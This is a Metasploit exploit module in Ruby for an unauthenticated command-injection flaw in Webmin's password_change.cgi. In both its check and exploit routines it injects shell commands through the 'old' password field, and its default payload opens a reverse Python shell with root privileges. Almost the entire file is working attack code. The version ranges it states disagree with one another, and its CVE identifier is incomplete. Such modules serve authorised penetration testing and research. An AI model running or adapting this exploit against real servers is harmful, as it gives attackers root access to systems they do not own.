##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.882 <= 1921 Unauthenticated RCE',
'Description' => %q(
This module exploits an arbitrary command execution vulnerability in Webmin
1.920 and prior versions. If the password change module is turned on, the unathenticated user
can execute arbitrary commands with root privileges.
Webmin 1.890 is vulnerable in the default configuration, while the other affected versions
require the “user password change” option to be enabled.
/////// This 0day has been published at DEFCON-AppSec Village. ///////
),
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>' # Discovery & PoC & Metasploit module @ehakkus
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-'],
['URL', 'https://www.pentest.com.tr']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd'
}
},
'DefaultOptions' =>
{
'RPORT' => 10000,
'SSL' => false,
'PAYLOAD' => 'cmd/unix/reverse_python'
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [['Webmin <= 1.910', {}]],
'DisclosureDate' => 'May 16 2019',
'DefaultTarget' => 0)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])
]
end
def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
end
##
# Target and input verification
##
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end